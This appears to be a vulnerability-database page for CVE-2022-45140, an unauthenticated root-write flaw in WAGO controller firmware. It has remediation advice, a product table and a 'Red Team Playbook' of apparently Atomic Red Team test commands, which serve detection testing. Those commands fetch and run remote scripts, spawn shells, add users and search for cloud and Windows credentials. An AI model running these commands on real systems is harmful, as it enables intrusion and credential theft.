CVE-2022-45140
Overview
This vulnerability is an authentication bypass allowing unauthenticated write access to the configuration backend of the WAGO Compact Controller CC100 (751-9301). The root cause is insufficient access control on the storage interface, permitting arbitrary data writes with root privileges. The affected component is the device's configuration storage subsystem, which lacks proper authentication enforcement.
Vulnerability Description
The configuration backend allows an unauthenticated user to write arbitrary data with root privileges to the storage, which could lead to unauthenticated remote code execution and full system compromise.
Impact
An unauthenticated attacker with network access can exploit this vulnerability to write arbitrary data with root privileges, enabling remote code execution and complete system compromise. No user interaction or prior authentication is required, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). This can lead to unauthorized control over the device, data manipulation, and disruption of industrial automation processes.
Solution
WAGO has published advisory VDE-2022-060 addressing this issue. Users should update affected WAGO Compact Controller CC100 firmware to versions that include the fix as detailed in the advisory available at https://cert.vde.com/en/advisories/VDE-2022-060/. Applying the recommended firmware updates for versions 22 and 23 of the 751-9301 and affected 752-8303/8000-002 firmware is required to remediate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question arises from a critical flaw in the configuration backend of specific WAGO firmware products, allowing unauthenticated users to write arbitrary data with root privileges to the storage. This misconfiguration effectively bypasses authentication mechanisms, enabling attackers to manipulate system settings and potentially execute malicious code remotely. The root access granted to unauthorized users poses a severe risk, as it allows for the alteration of system files, installation of backdoors, or execution of arbitrary commands, leading to a complete system compromise.
Attack vectors exploiting this vulnerability can be diverse and sophisticated. An attacker could leverage network access to the affected devices, possibly through unsecured connections or misconfigured firewalls. By sending specially crafted requests to the configuration backend, an attacker could gain root access without any prior authentication. This could be executed from anywhere on the internet, making the attack surface significantly larger. Scenarios may include an attacker deploying malware that disrupts operations, exfiltrating sensitive data, or even using the compromised device as a pivot point to infiltrate deeper into the organizational network.
The real-world impact of this vulnerability is substantial, particularly for organizations relying on WAGO products for industrial automation and control systems. A successful exploitation could lead to operational downtime, loss of sensitive data, and potential regulatory penalties, especially in sectors such as manufacturing, energy, and transportation. The business risk extends beyond immediate financial losses; it can also damage reputation, erode customer trust, and lead to increased scrutiny from regulatory bodies. The potential for cascading failures in interconnected systems further amplifies the risk, as a single compromised device could jeopardize an entire network of critical infrastructure.
To effectively detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. Regular vulnerability assessments and penetration testing can help identify weaknesses in the configuration of affected devices. Implementing strict access controls, such as network segmentation and firewalls, can limit exposure to unauthorized users. Additionally, keeping firmware updated and applying security patches promptly is crucial in defending against known vulnerabilities. Organizations should also consider employing intrusion detection systems (IDS) to monitor for unusual activity indicative of exploitation attempts. Educating staff about secure configuration practices and the importance of maintaining robust security hygiene can further bolster defenses against potential attacks.
In conclusion, the vulnerability in the configuration backend of certain WAGO firmware products represents a significant threat to the integrity and security of industrial control systems. The ability for unauthenticated users to gain root access not only exposes organizations to immediate risks but also has far-reaching implications for operational continuity and data security. By understanding the technical details, potential attack vectors, and implementing robust detection and mitigation strategies, organizations can better protect themselves against this and similar vulnerabilities in the future.
Affected Products (21)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Wago | 751-9301 Firmware | All |
cpe:2.3:o:wago:751-9301_firmware:*:*:*:*:*:*:*:*
|
|
|
Wago | 751-9301 Firmware | 22 |
cpe:2.3:o:wago:751-9301_firmware:22:-:*:*:*:*:*:*
|
|
|
Wago | 751-9301 Firmware | 23 |
cpe:2.3:o:wago:751-9301_firmware:23:*:*:*:*:*:*:*
|
|
|
Wago | 752-8303\/8000-002 Firmware | All |
cpe:2.3:o:wago:752-8303\/8000-002_firmware:*:*:*:*:*:*:*:*
|
|
|
Wago | 752-8303\/8000-002 Firmware | 22 |
cpe:2.3:o:wago:752-8303\/8000-002_firmware:22:-:*:*:*:*:*:*
|
|
|
Wago | 752-8303\/8000-002 Firmware | 23 |
cpe:2.3:o:wago:752-8303\/8000-002_firmware:23:*:*:*:*:*:*:*
|
|
|
Wago | Pfc100 Firmware | All |
cpe:2.3:o:wago:pfc100_firmware:*:*:*:*:*:*:*:*
|
|
|
Wago | Pfc100 Firmware | 22 |
cpe:2.3:o:wago:pfc100_firmware:22:-:*:*:*:*:*:*
|
|
|
Wago | Pfc100 Firmware | 23 |
cpe:2.3:o:wago:pfc100_firmware:23:*:*:*:*:*:*:*
|
|
|
Wago | Pfc200 Firmware | All |
cpe:2.3:o:wago:pfc200_firmware:*:*:*:*:*:*:*:*
|
|
|
Wago | Pfc200 Firmware | 22 |
cpe:2.3:o:wago:pfc200_firmware:22:-:*:*:*:*:*:*
|
|
|
Wago | Pfc200 Firmware | 23 |
cpe:2.3:o:wago:pfc200_firmware:23:*:*:*:*:*:*:*
|
|
|
Wago | Touch Panel 600 Advanced Firmware | All |
cpe:2.3:o:wago:touch_panel_600_advanced_firmware:*:*:*:*:*:*:*:*
|
|
|
Wago | Touch Panel 600 Advanced Firmware | 22 |
cpe:2.3:o:wago:touch_panel_600_advanced_firmware:22:-:*:*:*:*:*:*
|
|
|
Wago | Touch Panel 600 Advanced Firmware | 23 |
cpe:2.3:o:wago:touch_panel_600_advanced_firmware:23:*:*:*:*:*:*:*
|
|
|
Wago | Touch Panel 600 Marine Firmware | All |
cpe:2.3:o:wago:touch_panel_600_marine_firmware:*:*:*:*:*:*:*:*
|
|
|
Wago | Touch Panel 600 Marine Firmware | 22 |
cpe:2.3:o:wago:touch_panel_600_marine_firmware:22:-:*:*:*:*:*:*
|
|
|
Wago | Touch Panel 600 Marine Firmware | 23 |
cpe:2.3:o:wago:touch_panel_600_marine_firmware:23:*:*:*:*:*:*:*
|
|
|
Wago | Touch Panel 600 Standard Firmware | All |
cpe:2.3:o:wago:touch_panel_600_standard_firmware:*:*:*:*:*:*:*:*
|
|
|
Wago | Touch Panel 600 Standard Firmware | 22 |
cpe:2.3:o:wago:touch_panel_600_standard_firmware:22:-:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-45140 |
| cert.vde.com |
GitHub CVE
|
https://cert.vde.com/en/advisories/VDE-2022-060/ |